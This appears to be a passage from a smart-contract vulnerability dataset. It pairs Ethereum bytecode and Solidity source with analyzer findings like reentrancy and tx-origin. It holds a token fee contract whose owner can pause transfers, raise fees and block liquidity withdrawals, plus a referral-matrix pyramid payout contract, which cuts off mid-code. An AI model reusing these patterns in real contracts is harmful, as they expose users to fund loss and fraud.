6973206e6f7420746865206f776e6572604082015260600190565b600082611c9657634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611cad57600080fd5b815161182c816119c7565b600080600060608486031215611ccd57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cf857600080fd5b815161182c81611aa1565b60008219821115611d1657611d16611b05565b500190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d815784516001600160a01b031683529383019391830191600101611d5c565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c319d7f08ed5c0d73cb3d7f1243b3b81324cac293ca172d7c06a20602726066c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,629
0x3fb1ccada16fcbf370db58a68d3cc45cea359b7f
/** *Submitted for verification at Etherscan.io on 2020-10-31 */ pragma solidity ^0.6.0; // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // // for WETH // import "@nomiclabs/buidler/console.sol"; contract FeeApprover is Ownable { using SafeMath for uint256; constructor ( address _STACYAddress, address _WETHAddress, address _uniswapFactory ) public Ownable() { stacyTokenAddress = _STACYAddress; WETHAddress = _WETHAddress; tokenUniswapPair = IUniswapV2Factory(_uniswapFactory).getPair(WETHAddress,stacyTokenAddress); feePercentX100 = 20; // 2% paused = true; // We start paused until sync post LGE happens. _editNoFeeList(tokenUniswapPair, true); sync(); } address tokenUniswapPair; IUniswapV2Factory public uniswapFactory; address internal WETHAddress; address stacyTokenAddress; address stacyVaultAddress; uint8 public feePercentX100; // max 255 = 25.5% artificial clamp uint256 public lastTotalSupplyOfLPTokens; bool paused; uint256 public lastPauseTime; mapping (address => bool) public noFeeList; mapping (address => bool) public withdrawLiqList; function setPaused(bool _pause) public onlyOwner { paused = _pause; lastPauseTime = block.timestamp; sync(); } function unpauseTransfers() public onlyOwner { setPaused(false); } function setFeeMultiplier(uint8 _feeMultiplier) public onlyOwner { feePercentX100 = _feeMultiplier; } function setStacyVaultAddress(address _stacyVaultAddress) public onlyOwner { stacyVaultAddress = _stacyVaultAddress; noFeeList[stacyVaultAddress] = true; } function editNoFeeList(address _address, bool noFee) public onlyOwner { _editNoFeeList(_address,noFee); } function _editNoFeeList(address _address, bool noFee) internal { noFeeList[_address] = noFee; } function editWithdrawLiqList(address _address, bool allowWithdraw) public onlyOwner { _editWithdrawLiqList(_address, allowWithdraw); } function _editWithdrawLiqList(address _address, bool allowWithdraw) internal { withdrawLiqList[_address] = allowWithdraw; } function sync() public returns (bool lastIsMint, bool lpTokenBurn) { // This will update the state of lastIsMint, when called publically // So we have to sync it before to the last LP token value. uint256 _LPSupplyOfPairTotal = IERC20(tokenUniswapPair).totalSupply(); // console.log("_LPSupplyOfPairTotal", _LPSupplyOfPairTotal); // console.log("lastTotalSupplyOfLPTokens", lastTotalSupplyOfLPTokens); lpTokenBurn = lastTotalSupplyOfLPTokens > _LPSupplyOfPairTotal; // console.log("lpTokenBurn", lpTokenBurn); lastTotalSupplyOfLPTokens = _LPSupplyOfPairTotal; lastIsMint = false; // not needed since transferring to the pair will call this fn and will sync } function calculateAmountsAfterFee( address sender, address recipient, // unusued maybe use din future uint256 amount ) public returns (uint256 transferToAmount, uint256 transferToFeeDistributorAmount) { require(paused == false, "FEE APPROVER: Transfers Paused"); require(block.timestamp > lastPauseTime + 5 minutes || amount < 69_000_000 * 1e18, "premature"); (bool lastIsMint, bool lpTokenBurn) = sync(); if (sender == tokenUniswapPair && !withdrawLiqList[tx.origin]) { // This will block buys that are immidietly after a mint. Before sync is called/ // Deployment of this should only happen after router deployment // And addition of sync to all Vault transactions to remove 99.99% of the cases. require(lastIsMint == false, "Liquidity withdrawals forbidden"); require(lpTokenBurn == false, "Liquidity withdrawals forbidden"); } if (noFeeList[sender]) { // Dont have a fee when vault is sending, or infinite loop // console.log("Sending without fee"); // And when pair is sending ( buys are happening, no tax on it) transferToFeeDistributorAmount = 0; transferToAmount = amount; } else { // console.log("Normal fee transfer"); transferToFeeDistributorAmount = amount.mul(feePercentX100).div(1000); transferToAmount = amount.sub(transferToFeeDistributorAmount); } } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80638aee4cfe116100a257806392f619301161007157806392f61930146103af578063b32b68ac146103cd578063f2fde38b14610427578063f8de57971461046b578063fff6cae9146104af5761010b565b80638aee4cfe146102f85780638bdb2afa146103295780638da5cb5b1461035d57806391b4ded9146103915761010b565b806351d271be116100de57806351d271be1461023a578063715018a61461028a5780638936a91f146102945780638aa1ff701461029e5761010b565b806316c38b3c14610110578063301a580114610140578063375a29fd146101c95780633b4e71ad14610219575b600080fd5b61013e6004803603602081101561012657600080fd5b810190808035151590602001909291905050506104d8565b005b6101ac6004803603606081101561015657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ce565b604051808381526020018281526020019250505060405180910390f35b610217600480360360408110156101df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610953565b005b610221610a29565b604051808260ff16815260200191505060405180910390f35b6102886004803603604081101561025057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610a3c565b005b610292610b12565b005b61029c610c98565b005b6102e0600480360360208110156102b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6c565b60405180821515815260200191505060405180910390f35b6103276004803603602081101561030e57600080fd5b81019080803560ff169060200190929190505050610d8c565b005b610331610e72565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610365610e98565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610399610ec1565b6040518082815260200191505060405180910390f35b6103b7610ec7565b6040518082815260200191505060405180910390f35b61040f600480360360208110156103e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ecd565b60405180821515815260200191505060405180910390f35b6104696004803603602081101561043d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eed565b005b6104ad6004803603602081101561048157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f8565b005b6104b761127e565b60405180831515815260200182151581526020019250505060405180910390f35b6104e061133f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548160ff021916908315150217905550426008819055506105c961127e565b505050565b60008060001515600760009054906101000a900460ff1615151461065a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f46454520415050524f5645523a205472616e736665727320506175736564000081525060200191505060405180910390fd5b61012c6008540142118061067857506a3913517ebd3c0c6500000083105b6106ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f7072656d6174757265000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000806106f561127e565b91509150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480156107a05750600a60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561089a57600015158215151461081f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4c6971756964697479207769746864726177616c7320666f7262696464656e0081525060200191505060405180910390fd5b6000151581151514610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4c6971756964697479207769746864726177616c7320666f7262696464656e0081525060200191505060405180910390fd5b5b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108f85760009250849350610949565b6109316103e8610923600560149054906101000a900460ff1660ff168861134790919063ffffffff16565b6113cd90919063ffffffff16565b9250610946838661141790919063ffffffff16565b93505b5050935093915050565b61095b61133f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610a258282611461565b5050565b600560149054906101000a900460ff1681565b610a4461133f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610b0e82826114bc565b5050565b610b1a61133f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ca061133f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d60576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610d6a60006104d8565b565b60096020528060005260406000206000915054906101000a900460ff1681565b610d9461133f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560146101000a81548160ff021916908360ff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b60065481565b600a6020528060005260406000206000915054906101000a900460ff1681565b610ef561133f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561103b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061169e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61110061133f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156112eb57600080fd5b505afa1580156112ff573d6000803e3d6000fd5b505050506040513d602081101561131557600080fd5b81019080805190602001909291905050509050806006541191508060068190555060009250509091565b600033905090565b60008083141561135a57600090506113c7565b600082840290508284828161136b57fe5b04146113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116c46021913960400191505060405180910390fd5b809150505b92915050565b600061140f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611517565b905092915050565b600061145983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115dd565b905092915050565b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080831182906115c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561158857808201518184015260208101905061156d565b50505050905090810190601f1680156115b55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816115cf57fe5b049050809150509392505050565b600083831115829061168a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164f578082015181840152602081019050611634565b50505050905090810190601f16801561167c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212205d1ba919fca0c9613f674ceb3f60d26d548f662096a3baa8ea5df173788d349164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}]}}
3,630
0x6ab5e0f72c2dc52b7f0f3d980034e80e6107f334
/** *Submitted for verification at Etherscan.io on 2021-06-07 */ pragma solidity 0.6.0; contract INTERSMART { address public owner = address(0); uint128 public price = 0.10 ether; uint128 public fee = 0.02 ether; uint128[] deposits = [ 0.08 ether, 1.28 ether, 10.24 ether, 40.96 ether ]; uint8 public refLimit = 8; uint8[] public stageLimits = [7, 7, 8, 10]; struct User { address partner; address[] partners; uint256 overflowIdx; uint256 profit; mapping (uint8 => uint256) ids; mapping (uint8 => uint8) rounds; mapping (uint8 => mapping (uint8 => uint8)) lastLine; } mapping (address => User) internal _users; struct Stage { uint32 _amountOfUsers; mapping (uint256 => address) _userByid; } mapping (uint8 => Stage) internal _stages; address payable internal _wallet; uint32 internal _startDate; event getIn(address indexed referral, address indexed partner, address indexed referrer, uint256 price); event getOut(address indexed account, uint256 profit); event withdrawn(address indexed account, uint256 amount); event stageUp(address indexed account, uint256 stage); event reinvest(address indexed account, uint256 stage); event payOut(address indexed referrer, address indexed referral, uint256 stage, uint256 round, uint256 amount); event qualification(address indexed referrer); constructor(address payable walletAddr) public { require(walletAddr != address(0)); require(!_isContract(walletAddr), 'walletAddr cannot be a smart-contract'); _wallet = walletAddr; User storage user = _users[_wallet]; for (uint8 i = 0; i < 4; i++) { user.rounds[i] = stageLimits[i]; _stages[i]._amountOfUsers++; _users[_wallet].ids[i] = _stages[i]._amountOfUsers; _stages[i]._userByid[_users[_wallet].ids[i]] = _wallet; } _startDate = uint32(block.timestamp); } fallback() external payable { receiver(); } receive() external payable { receiver(); } function receiver() internal { if (msg.value == 0) { withdraw(); } else if (msg.value >= price) { if (msg.value > price) { msg.sender.transfer(msg.value - price); } if (!isRegistered(msg.sender)) { regUser(_bytesToAddress(bytes(msg.data))); } else { revert('User is registered already'); } } else revert('Incorrect value'); } function regUser(address referrerAddr) public payable { require(!isRegistered(msg.sender), 'User is registered already'); require(isRegistered(referrerAddr), 'User must provide an active referrer address'); require(msg.value == price, 'Value must be equal to the price'); User storage user = _users[msg.sender]; address referrer = referrerAddr; _wallet.transfer(fee); _stages[0]._amountOfUsers++; _users[referrer].partners.push(msg.sender); if (getUserAmountOfPartners(referrer) == refLimit) { emit qualification(referrer); } user.partner = referrer; (uint256 newID, uint256 overflowIdx, address freeReferrer) = getFreeReferrer(referrer); _users[referrer].overflowIdx = overflowIdx; user.ids[0] = newID; _stages[0]._userByid[user.ids[0]] = msg.sender; emit getIn(msg.sender, user.partner, freeReferrer, price); _processStructure(msg.sender, 0); } function withdraw() public { uint256 amount = getUserProfit(msg.sender); require(amount > 0, 'User has no profit yet'); require(getUserAmountOfPartners(msg.sender) >= 2, 'User did not invite 2 referrals yet'); _users[msg.sender].profit = 0; msg.sender.transfer(amount); emit withdrawn(msg.sender, amount); } function _processStructure(address account, uint8 stage) internal { _users[account].rounds[stage]++; emit stageUp(account, stage); uint256 deposit = deposits[stage]; uint256 full = 64 / 2**(uint256(stage)); uint8 round = _users[account].rounds[stage]; uint256 stageUpIdx; uint256 profit; uint256 reinvestIdx; if (round == 1) { if (stage < 3) { stageUpIdx = full / 4; profit = deposit * (stageUpIdx - 1); } else { stageUpIdx = 0; profit = deposit * 3; } reinvestIdx = stageUpIdx+1; } else { stageUpIdx = 0; profit = deposit; if (round < stageLimits[stage]) { reinvestIdx = full / 4 + 1; } else { reinvestIdx = 0; } } address rootAddr = getUserReferrer(account, stage, 4-stage); if (rootAddr != address(0) && rootAddr != _wallet) { _users[rootAddr].lastLine[stage][round]++; if (_users[rootAddr].lastLine[stage][round] == stageUpIdx) { _stages[stage+1]._amountOfUsers++; _users[rootAddr].ids[stage+1] = _stages[stage+1]._amountOfUsers; _stages[stage+1]._userByid[_stages[stage+1]._amountOfUsers] = rootAddr; _processStructure(rootAddr, stage+1); } else if (_users[rootAddr].lastLine[stage][round] == reinvestIdx) { _processStructure(rootAddr, stage); } else if (round == 1 && _users[rootAddr].lastLine[stage][round] == full/2) { _users[rootAddr].profit += profit; emit payOut(rootAddr, account, stage, round, profit); } else if (round > 1) { _users[rootAddr].profit += profit; emit payOut(rootAddr, account, stage, round, profit); } } else { _users[_wallet].profit += deposit; } } function getFreeReferrer(address referrer) public view returns(uint256 newID, uint256 overflowIdx, address freeReferrer) { require(isRegistered(referrer), "User is not registered yet"); if (getUserAmountOfReferrals(referrer, 0) < 2) { return (_users[referrer].ids[0] * 2 + getUserAmountOfReferrals(referrer, 0), getUserAmountOfReferrals(referrer, 0) + 1, referrer); } overflowIdx = _users[referrer].overflowIdx; uint256 startIdx = _users[referrer].ids[0] * 2; uint256 addend = overflowIdx; uint256 line = 1; uint256 count; while (true) { if (addend > 0) { if (addend >= 2**line) { addend -= 2**line; startIdx = startIdx * 2; line++; } else { count += addend; addend = 0; } } else if (startIdx + count < startIdx + 2**line) { if (_stages[0]._userByid[startIdx + count] == address(0)) { return (startIdx + count, overflowIdx + 1, _stages[0]._userByid[(startIdx + count) / 2]); } else { overflowIdx++; count++; } } else { startIdx = startIdx * 2; count = 0; line++; } } } function _bytesToAddress(bytes memory source) internal pure returns(address parsedReferrer) { assembly { parsedReferrer := mload(add(source,0x14)) } return parsedReferrer; } function _isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } function getContractBalance() public view returns(uint256) { return address(this).balance; } function getAmountOfUsers(uint8 stage) public view returns(uint256) { return _stages[stage]._amountOfUsers; } function getDaysSinceStart() public view returns(uint256) { if (_startDate > 0) { return ((block.timestamp - _startDate) / (1 days)); } } function isRegistered(address account) public view returns(bool) { return (_users[account].rounds[0] > 0); } function getUserId(address user, uint8 stage) public view returns(uint256) { return _users[user].ids[stage]; } function getUserById(uint8 stage, uint256 id) public view returns(address) { return _stages[stage]._userByid[id]; } function getUserReferrer(address account, uint8 stage, uint256 level) public view returns(address) { return _stages[stage]._userByid[_users[account].ids[stage] / 2**(level+1)]; } function getUserReferrers(address account, uint8 stage) public view returns(address[] memory) { uint256 limit = 5 - stage; address[] memory referrers = new address[](limit); for (uint256 i = 0; i < limit; i++) { referrers[i] = getUserReferrer(account, stage, i); } return referrers; } function getUserPartners(address account) public view returns(address[] memory) { return _users[account].partners; } function getUserAmountOfPartners(address account) public view returns(uint256) { return _users[account].partners.length; } function getUserReferrals(address account, uint8 stage) public view returns(address, address) { return (_stages[stage]._userByid[_users[account].ids[stage] * 2], _stages[stage]._userByid[_users[account].ids[stage] * 2 + 1]); } function getUserAmountOfReferrals(address account, uint8 stage) public view returns(uint256) { if (_stages[stage]._userByid[_users[account].ids[stage] * 2 + 1] != address(0)) { return 2; } else if (_stages[stage]._userByid[_users[account].ids[stage] * 2] != address(0)) { return 1; } else { return 0; } } function getUserProfit(address account) public view returns(uint256) { return _users[account].profit; } function getUserPoints(address account, uint8 stage, uint8 round) public view returns(uint256) { return _users[account].lastLine[stage][round]; } function getUserRounds(address account, uint8 stage) public view returns(uint256) { return _users[account].rounds[stage]; } function getUserLevel(address account) public view returns(uint256) { uint8 i; for (i = 1; i <= 3; i++) { if (_users[account].rounds[i] == 0) { break; } } return i-1; } function getUserStages(address account) public view returns(uint256[] memory) { uint256[] memory stages = new uint256[](4); for (uint8 i = 0; i < 4; i++) { stages[i] = getUserRounds(account, i); } return stages; } function getStructure(address account, uint8 stage, uint256 round) public view returns(address[] memory) { require(stage < 4, "Invalid stage value"); require(round > 0 && round <= stageLimits[stage], "Invalid round value"); uint256 limit = 64 / 2**(uint256(stage)) - 1; address[] memory referrals = new address[](limit); if (_users[account].rounds[stage] < round) { return referrals; } uint256 id = _users[account].ids[stage]; uint256 count; uint256 line; while (count < limit) { for (uint256 i = 0; i < 2**line; i++) { uint256 idx = id * 2**line + i; if (_users[_stages[stage]._userByid[idx]].rounds[stage] >= round) { referrals[count] = _stages[stage]._userByid[idx]; } count++; } line++; } return referrals; } function getInfo1() external view returns(uint256[] memory) { uint256[] memory info = new uint256[](2); info[0] = 